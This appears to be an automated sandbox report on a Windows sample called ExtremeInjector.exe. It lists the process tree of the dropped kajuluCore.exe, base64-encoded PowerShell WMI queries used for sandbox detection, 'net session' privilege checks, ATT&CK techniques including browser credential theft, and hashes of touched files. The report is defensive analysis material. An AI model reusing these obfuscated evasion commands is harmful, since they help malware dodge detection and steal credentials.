    "C:\Users\Admin\AppData\Local\Temp\3CWbCSfwK2NTf9Iso7BOkltuTIy\kajuluCore.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\kajulucore-clja" --app-path="C:\Users\Admin\AppData\Local\Temp\3CWbCSfwK2NTf9Iso7BOkltuTIy\resources\app.asar" --enable-sandbox --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --field-trial-handle=2428,i,11969647412250479687,18203584134534258732,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=2424 /prefetch:1
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    PID:5440

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:456

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:364

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2556

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:888

C:\Users\Admin\Documents\ExtremeInjector.exe
"C:\Users\Admin\Documents\ExtremeInjector.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4360
- C:\Users\Admin\AppData\Local\Temp\3CWbCSfwK2NTf9Iso7BOkltuTIy\kajuluCore.exe
  C:\Users\Admin\AppData\Local\Temp\3CWbCSfwK2NTf9Iso7BOkltuTIy\kajuluCore.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Checks processor information in registry
  PID:3660
- - C:\Users\Admin\AppData\Local\Temp\3CWbCSfwK2NTf9Iso7BOkltuTIy\kajuluCore.exe
    "C:\Users\Admin\AppData\Local\Temp\3CWbCSfwK2NTf9Iso7BOkltuTIy\kajuluCore.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\kajulucore-clja" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1856,i,9752447698321556792,2742652411734056201,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1848 /prefetch:2
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:3784
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -EncodedCommand QAAoAEcAZQB0AC0AQwBpAG0ASQBuAHMAdABhAG4AYwBlACAAVwBpAG4AMwAyAF8AUABvAHIAdABDAG8AbgBuAGUAYwB0AG8AcgApAC4AQwBvAHUAbgB0AA=="
    3⤵
    PID:556
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -EncodedCommand QAAoAEcAZQB0AC0AQwBpAG0ASQBuAHMAdABhAG4AYwBlACAAVwBpAG4AMwAyAF8AUABvAHIAdABDAG8AbgBuAGUAYwB0AG8AcgApAC4AQwBvAHUAbgB0AA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1056
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -EncodedCommand RwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIABXAGkAbgAzADIAXwBWAGkAZABlAG8AQwBvAG4AdAByAG8AbABsAGUAcgAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBFAHgAcABhAG4AZABQAHIAbwBwAGUAcgB0AHkAIABOAGEAbQBlAA=="
    3⤵
    PID:3116
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -EncodedCommand RwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIABXAGkAbgAzADIAXwBWAGkAZABlAG8AQwBvAG4AdAByAG8AbABsAGUAcgAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBFAHgAcABhAG4AZABQAHIAbwBwAGUAcgB0AHkAIABOAGEAbQBlAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    PID:5612
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:4584
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:2864
- - C:\Users\Admin\AppData\Local\Temp\3CWbCSfwK2NTf9Iso7BOkltuTIy\kajuluCore.exe
    "C:\Users\Admin\AppData\Local\Temp\3CWbCSfwK2NTf9Iso7BOkltuTIy\kajuluCore.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\kajulucore-clja" --field-trial-handle=2228,i,9752447698321556792,2742652411734056201,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=2224 /prefetch:3
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:2144
- - C:\Users\Admin\AppData\Local\Temp\3CWbCSfwK2NTf9Iso7BOkltuTIy\kajuluCore.exe
    "C:\Users\Admin\AppData\Local\Temp\3CWbCSfwK2NTf9Iso7BOkltuTIy\kajuluCore.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\kajulucore-clja" --app-path="C:\Users\Admin\AppData\Local\Temp\3CWbCSfwK2NTf9Iso7BOkltuTIy\resources\app.asar" --enable-sandbox --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --field-trial-handle=2448,i,9752447698321556792,2742652411734056201,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=2444 /prefetch:1
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    PID:3924

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1597831642\manifest.json
Size 165B
SHA256 daf50c160ae8f5935baa4a7207e9d04afbbc81a6dd9ed02d99de12056743eeb6
MD5 8ff4c35081337b1ba6731cc36163c2a8
SHA1 31c80c4a98e5492fbf1b6b3e050446e7240c24a6
SHA512 1a616b9b797441fb438c89864beae36c1a151b1c85e1288481dc61d9f82df2c1fd5e002dbacc05d3070323f56325ed960df3e353d314eb2ee218f8e93aea3fac
TLSH
T1D6C0805294011D7419CE47150D5CE3889723D7152980B0155BD7C218DC3DC8B68F3B4D
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1843328001\manifest.json
Size 119B
SHA256 7169d86e87f904218238cd293e043e20b7828afad9acd1ff2e5d64188530b9d7
MD5 7382260298fc06c135b7c7399e9acff9
SHA1 6a829f795a3b8be25200675e00abfa1908fdefdf
SHA512 f0ce77f9f72fb6721bcfa9b03f77b0771e8217988183787c00dba4f9d9f19cdba252ddd656422336035f81939cb97c8b5dcb4f036a39280198c17cd04faaaed4
TLSH
T191B09273A800E83830E9EB91093A8243F320AB4BA585640A3625485C0B2B9F990606C4
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1845221032\manifest.json
Size 177B
SHA256 096e772e0f2e8c15e6dec9087ee0a1fb8b0c56b25061626aedc9e7e705adfc2e
MD5 2714a51ed8c2a891ad73b7488ab655b9
SHA1 9a8cc479aec8de1b4eb678e5d68b23b16a39dc99
SHA512 4811522c06ad6946626a9f4d12eb62a1d623825d18a1cd0ad7b628f4c059f37d299b5857abffd959e4ea53239412490539f5705b4aa6c6951d13c68e6d5b72ad
TLSH
T1E6C012EFDC509DB215EB4323156D43C4E733CF4B1546490935FB66082A25981C193500
MD5 SHA1 SHA512 TLSH

Submit Download

keys.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping4700_522287528\keys.json
Size 8KB
SHA256 ae6e69a145f84c0a261b4e82888779fbf137f193881d687588e1af71609ae947
MD5 d3ebc1cb4b692c6e2d29a4625420fe73
SHA1 4ce74c1e9af6fd34d6379ec0fec6afb24082a7c1
SHA512 e34b855615e6a3bf770f27d85aa29ca57a324c08bd8f8d9c0130e2a142c0e4a5f17bffd0861b725acc8a2316f73b7fe50406b0af26264a5c2d8f37599b260860
SSDEEP 192:uNtGbR+mFGfvPNyR9Pm4lOvMwkoR9PuGMXcy:ORmqwKjA
TLSH
T18402A57F14A41181CE7FC1698F0B78B78FA038065BCA3A83539BFA49494296D173B5B5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping4700_522287528\manifest.json
Size 79B
SHA256 7ea98f2308a9c51d17a1ac71b64afbe2a41ff0a083a166a0e4cc428bf44f0715
MD5 817fea104100763cd1bf4f15a51bfe94
SHA1 589717cf98cf7e2d55fc0d6025a4b8e215ed13d6
SHA512 da7b959d93113c5a6be360f90d9c721989c5e7acad7fa592081b582c4c3a0c4a9066a71473fd8492ce7fe7b0fbfd6870d939428a67fbd508fcf6b2c6dc1a41ea
TLSH
T15EA0122058019233108407600360478243551C022015244809461041258813A12A3128
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 b58f994c644f7b4a831e889630bfd7ca0860aeb1e0920dc0f5d4928585a9dbab
MD5 3bfc414667e1ebc31e9259fa1db290fa
SHA1 9bff989429779efef334e5524a362e7b6ff266cb
SHA512 e6cb000e8f900132f7dc661f943b8e91e945d171157ff3289b91e9d79f70230e363ed65b7ec97f451b376cf4706a14de9a86193e72dcea8fe3aa8c86c6117d13
TLSH
T1E371BF323375B0D4C9567F072A2819C063BF4396EA98AF4CB25C621ED92751B9B122F7
MD5 SHA1 SHA512 TLSH

Submit Download

autofill_bypass_cache_forms.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.1.32\autofill_bypass_cache_forms.json
Size 161B
SHA256 f7510e38f81f8a84027304070205dd55127e3233fdf011411465ede67b5b5d92
MD5 4b1a79b1996f03fb926a97912835c881
SHA1 ca43e23f7bbb4ff3839751f722df3c38ef7bd8a7
SHA512 c2e07a1b311ab71d94c7b874d645fe1114fdccfe4468875d6b23318fbe327481a60b2782af105b7546b3c1e6c3a7ec67261b21a0587f914cc7bf77c55f1f568e
TLSH
T1E5C08C07ABB804230B414E0B590DEFC9990476F6D5C146FEAB75A5A98A3C6B0005B74A
MD5 SHA1 SHA512 TLSH

Submit Download

edge_autofill_global_block_list.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.1.32\edge_autofill_global_block_list.json
Size 6KB
SHA256 7d3c45c8207ba69066516e51e10a2137bc4f1fce070a692e0c65225f9856e04c
MD5 5d4464dabc1289c3a010e14c05b92c57
SHA1 d2d185faca1cd13a6d42dea68803a9941074707d
SHA512 f93f4b58efc0127946ffa1b2950a1cf71da6f77a6ab4cf98ad8ada6a751d6261be4818ff8c64fe1f1d45467aa070e0823d15be36c8259c1044fb2d1289df9994
SSDEEP 192:C73stL7O9FnLk25+tF4B8K5b+QiGoztWuDpR6lFuftdHAa4/i:nwJ2r
TLSH
T133D16A2BA91C54B32A044839128E5BE47DDD73B6DD6008D6D650C0B9AEDFCB8203FDA7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

v1FieldTypes.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.1.32\v1FieldTypes.json
Size 509KB
SHA256 611e7995ab7599a0c89f98d6c6152a42aaedf7449748109a465bb5b0badd0af2
MD5 b1c140ef49f01eea089d3957da1a529f
SHA1 de64781f20aac98b4d2bbc497e3defa83b25aa8f
SHA512 02ddfcbaf9eaff793f251bd983394cf473b1340182ac1f3217cb7258ddfbd2de066ab08af16b47a378644bcc1871ad6ed8c641f6a053802c90e77f648e4f4be8
SSDEEP 1536:jlKS/dYt+dtxX9U2/W++dGcUooTHR6rF1azQmkEMUmxralqDAtyttVJAC5c8KrVx:B
TLSH
T148B48E2BF9F25C634D822A32053E18996A30615F5CEC6CD4BB3E211F4F2C1791E797A9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 c7296caf0e9cce556825f28f3642cb5ac31e31a0ff760d227744d879c3a93dee
MD5 1fd2da899cebd4d5aac2a3d85c0bfd18
SHA1 3f4e6dbc96df63582e9ba17acceda5012e453d7a
SHA512 840622178b39a880be2d80a1349d1dc0f7bfb63bf38c38c71fd96b89033d54de3e6a88f15ad237f3b66a8ebbff2bcfb19f5b6a6e94882c94044f73046f231584
TLSH
T1D5D0C0CC33B13C26C58C807004457F4D340BC4A20D42C3263433297C0CC30C428514C3
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 cd04dec9a65c9ebbd9698b7d59631c916e6b6a0a7afdb22ef48d8a4a82d902d0
MD5 5491f296a003c3ba16025eb18fdfb799
SHA1 8104d473f5d8f681400a64b5d0ac5523a5d56b8e
SHA512 118ab6dad3343099380a953888db90a14fe8c7dcb62f906e55a163cdde9b95460d37b865178c48bfd20c166ef6b725e5b61ca55fc83a0221383e062a36b68b84
TLSH
T1CAD080D837B16C26C589947104857F4D351BC4A24D46D7267477297C5CC30C46D555D7
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 1e88f1cf06ef9e059a89aec3e92ecd27ac5519e08d27dbd1da6d3b62b058258e
MD5 6f195bbb9ee1ec186441b1f79718b2f2
SHA1 1b48d6a4b2f4167f72107c2ec4bf97b8ea81c5ab
SHA512 0aaf8e782fa1893a470b82cd900604d0adb1eec52b1f33ac1a978e1d48fe7758ee02328a17069f34e5e84b426c8dec74f46ffbee8586db23abe8bc1251705740
TLSH
T15BE02BAAC8219C2B08FD0B2860568647FB52235B1B50881F7B3D924C8FF16370595C6C
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

HubApps

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
Size 106KB
SHA256 eb2fd7422436fff93f6be09df3294b26cdb7afd18e6aa94dcdc0f208db78b2ed
MD5 25dca813dd764f2197142ef84bc5ce66
SHA1 8d6aefb01ee9f6d1fb0cfd89326cfe35af53a53d
SHA512 a9c8cd547c874b7b69cbb3a0c8214f43837911e522db768dcd075d23d05acfd7122cf2bcad281ea745025e4fb67cc9061b79f9dc1288ac1a113bd0d961841d43
SSDEEP 1536:IfEEtnH74ohBGZqW3iPPDuVvpBI/SvtZsA62UYPq:BuHSRhPjU1
TLSH
T154B35226D6A54C6B01F16264EC794382F325436F9282A82F3B7C5D5C2FBD93A6502F7C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 21fe4429c240eb9b4d9be4c74456e256e55140b634dfe2f86617375dd353c562
MD5 7eda84caf301cca338cf7c7d8190d1c0
SHA1 6d831a07bb00d6c1a376b74af8378ea3dc2193ce
SHA512 a8267ed6bb05f2711aea1f4f879ffe00e5a24f1b31c6e7c526ed238c16a7a916fc1b988348e94ac4e7ec9637fc9ee7ab62f70991092c699c407664152050d652
TLSH
T1E541F0F783F4956D8A0195F0BA186E2BCE6D0551932C7D9BC4E0AF1BA3E3870E14199F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 16KB
SHA256 298f26f2a019e9a2dc34cb53ae39e915495f73a30ab8fc8a8707fd7fb0d7e755
MD5 786bf8f25fb829b16a9d004dfb17050f
SHA1 c51b6046eddb208aa24f6d1e9d341d02161903de
SHA512 688447e082e6e7d50f3cb6c2375f384dc8a4e18cfcb1189b76a00573e8f532d62609598cb71558d8e271dc864437c5c62f04fa7c2fc6e4539d7f7cc175d633d1
SSDEEP 192:sxZAREyMqZ/K1Ml8UQrjQ/faso0Hkhv6zodpLHW6+WNGYK5odNAVFaIg5w5C+J:sxZA3qvQ/faso0HovBLHbGYNU6KCK
TLSH
T1D172E8056A389D7B8CDBD209F645BF93D6F9452392905D44AAFC8B0C05E6EED220783F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 15KB
SHA256 a6525d655a2f6ad0076007533c8de293ea037067cb6b3518c0bd7ed4703c05c2
MD5 da4b9be07082ad92eb266f486f8605e4
SHA1 fcfcb1bc7f6899414ce96850042d8867f7b385d5
SHA512 d1d133184768738ded69cc25fb279125a047f6ab9bf542f4bf23dfdc434f9d8ad907bc101bf8fb18403c2d97298ef365d939083d78adf98204498b1f2c72c32a
SSDEEP 192:sxZAREyMqZ/K1Ml8MjQ/faso0Hkhv6zodpLHW6+WNGYK5odNAVFaIg5w5C+J:sxZA3bQ/faso0HovBLHbGYNU6KCK
TLSH
T16F72D8056A38AD7B8CDBD209F645BF53D6F9452392905D44AAFC8B0C05E6EED220783F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 15KB
SHA256 3509862ab18330a175105d5a33bd1db7f50a0836596840989ff81059cc621a84
MD5 8ec2f42345d1e1bdb603113db276264f
SHA1 56583131949a649d5c2ec730f5a80eb7d7698ab3
SHA512 9d642642610b47d8e8ebe315bb804cd4c4057402097c3500acbadfe1eeec2beeb720067394954789ea47eaab074776e2025c66ae892e55e0eb4e068b08c0f553
SSDEEP 192:sxZAREyMqZ/K1Ml8M9Q/fasyTpkhv6zodpLHW6+WNGYKbI3NAVFaIgjoEJ:sxZA31Q/fasyNovBLHbGYNU6joI
TLSH
T1D862E8156A38A97B8CDBD209FA457F53D6F9452392905D44AAFCCB0C05E6EED220383F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 35KB
SHA256 f594eac79ad69fae53803112798b041691de6b66612f4607012edf0f028a11ff
MD5 fd042929a8b6b4bd397e5bbf0dccf6e5
SHA1 b19c70aa51b974469853a8c833d71bb59aebcb57
SHA512 6d9d606e0ac224c4dc55abf3130ae705e7de89598923adafbc99ec264f47e9488422d1fe686dedee4c6fea021dd4c904492620e0cbdece2af244d33619b5a678
SSDEEP 768:AasqZl+7pLuL/BlWvBDeT8F1+UoAYDCx9Tuqh0VfUC9xbog/OVbEx4Llhf51Yrog:AasqZl+E/BlWvBDeTu1jaCEx4LXB1jAZ
TLSH
T177F2FA3B6C0CCB7E4F804E9CDC2A7E8A6EE8028B96D8895447F9841C03D66EB55175DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 24KB
SHA256 b4340ad9e69d9b2a2902ba02c520d41d4462e3e71aa179602d8cf663212e5188
MD5 0616e482ba98a60eb13aeebf8bbe6151
SHA1 da30533ea1fb02a68dac1ef471c967a6b0893011
SHA512 ac7f71a8541f602d0c0db8eb6a23e1c6563686b086784f11052b54df9b1083a1a4eb5b79db1242586db64cbdb475b5dedaf0fa2bece5d60383dfe5b39c95a44f
SSDEEP 384:+BOVglYXrbtZqRvJLNlC1uiwYoPYbiiSzI8r6CTMCA:+BOVglYXrbtZqRvJLNRi
TLSH
T147B22D11763B13803A7E25899194B46F62C270A37098B47B7BB944A64F6BF20CDFD8DD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Extension Settings\dcaajljecejllikfgbhjdgeognacjkkp\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Extension Settings\dcaajljecejllikfgbhjdgeognacjkkp\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

domain_actions.dll

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Domain Actions\3.0.0.18\domain_actions.dll
Size 83KB
SHA256 d35c8efcb710239f009633bcc5ae904ac6dafa985d451bedf791cf6909f014d4
MD5 956f610121cd5827fd5549097b79cd9f
SHA1 dbd23f99895a3a92fbe04c3c35d475a6f6998fd0
SHA512 3cc4712f64474497495d229ddd743c6bf25c30c3fbfca2525f46227d99a59a0f9e80e2119ffb40bc8a707b539f65f907e2e1565ea937e0387db47cf7269944e6
SSDEEP 1536:sNGnmI1FOxAdgxBf8paY3JQzQik428fKagFVbydki8yyafuzWk:sNG91FPgrfrPza428fIenya2Sk
TLSH
T16D83F180DF58411BF86F4835E0B269857A78E6B50FE092DF2376C9590E12FD1AF39705
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 27KB
SHA256 ad25b2782f4f4a43bceb8bbc823c505a4f41444f2b88e3176f2d34eb4333544b
MD5 dea877c2fa3b7e80d5ce032128ec4bb3
SHA1 da3dea2a2f66a7cb03f10ace9c489a8405a09db5
SHA512 cc2ab2aa2c09a5894097a1518d68310c8a5bc3a91247af13edc5da5b6fc1c9476582b6e11260931c48d22491ae9296deba468ec248f139136467b2e045133f9b
SSDEEP 384:nHiFNcXqndsNL58TUNTUlI4ERihKb0F78wfiIYrpxewwaChdYudrXqFvvXyrN1kP:CFxdg5wgJiLXY9xewLkRXqV+Y
TLSH
T15FD23B31E868DDABADEA8F85F74A7643AFE05293858C5ED4D6C85E1C00C75DE1307C26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 27KB
SHA256 a02d515fe41aa620e197dfdcdd256f0d8f43a36a28c5b92285b9fd99b8cb287a
MD5 75a036bedfe115c55970b873787b750d
SHA1 b7a8f8d39aa3b42055588f26dd000a53e5a3fd4e
SHA512 77440986eb908801272a9b06748fd9f5e647f23bd883144043bd6b5478b6d40618f55897738351253879b6536754214900f1fb23dd1d4e7ee868fb0fa9c9ad9b
SSDEEP 384:nviFrcXqn23sNu8TUNTUlI44RihO0F78vfDYrpxewwaChdYufnXqFvvXyrN1k+re:6Fz23twg9iJMY9xewLkrXqV+Y
TLSH
T100C24B31E868DDABADD68FC9F34A7643AFE052A3858C5AD4DAC85E1C00C75DE1707C26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 27KB
SHA256 8734257a2aef73cde881661a1b282de97bdf17e0cc2d29e4bc9f9b912691d5b3
MD5 c0440230b1a90d5070aee190c84115b5
SHA1 7de72e669c2713c869c9b69444208dc43e3958e3
SHA512 a001a272ad188159136eb0bca7b836194c2dcbeb6889f6c9d51fc6a7dec076868ad2c1b584635c251a3595dc63670b45e07330df38fe8a94944fd46de562a0b0
SSDEEP 384:nviFPcXqn3sNu8TUNTUlI4ERihB0F78vfDYrpxewwaChdYufnXqFvvXyrN1k+rv2:6F33twgJicMY9xewLkrXqV+Y
TLSH
T1A6C23B31E868DDABADEA8FC9F34A7643AFE05293858C5ED4D6C85E1C00C759E1707C26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 26KB
SHA256 a44a030f80271750eaa790569ac4ffe70ace2ad43c28984ed5c539b3c1da549d
MD5 7a58a6cf44b92dbad8fa6e13399c4520
SHA1 1392d938ded99c4a8a3f86804265c1b491cd2541
SHA512 02f9fafbd71f884f8c60a4bc4ff1e1e8fa8b653c08a42acbd950dca4d4762e024a6fca2ea625233bb8ec31befe6c61a4d6ecc8a8977c43d1671afff392cf0f1f
SSDEEP 384:nu1iFavqMg3sN98TUNTUlIm2RihYz0r8vfDYrpxewwaChd7Q5zRUAJhvzNFsrN1o:u8Fayv3mwgTiF8Y9xewLky5zi6Eo
TLSH
T105C25B35EC68DEABECE74F89A7097B07DEE052A7C58C4AD4DAD80E1D109719E1307C26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 27KB
SHA256 99fc6cddb4bd7c9aa66e69bcbb9875ac559a88fc69426b6bbb8a721e4cac7c09
MD5 378a3011fa8bdf954b7cebd077c234fd
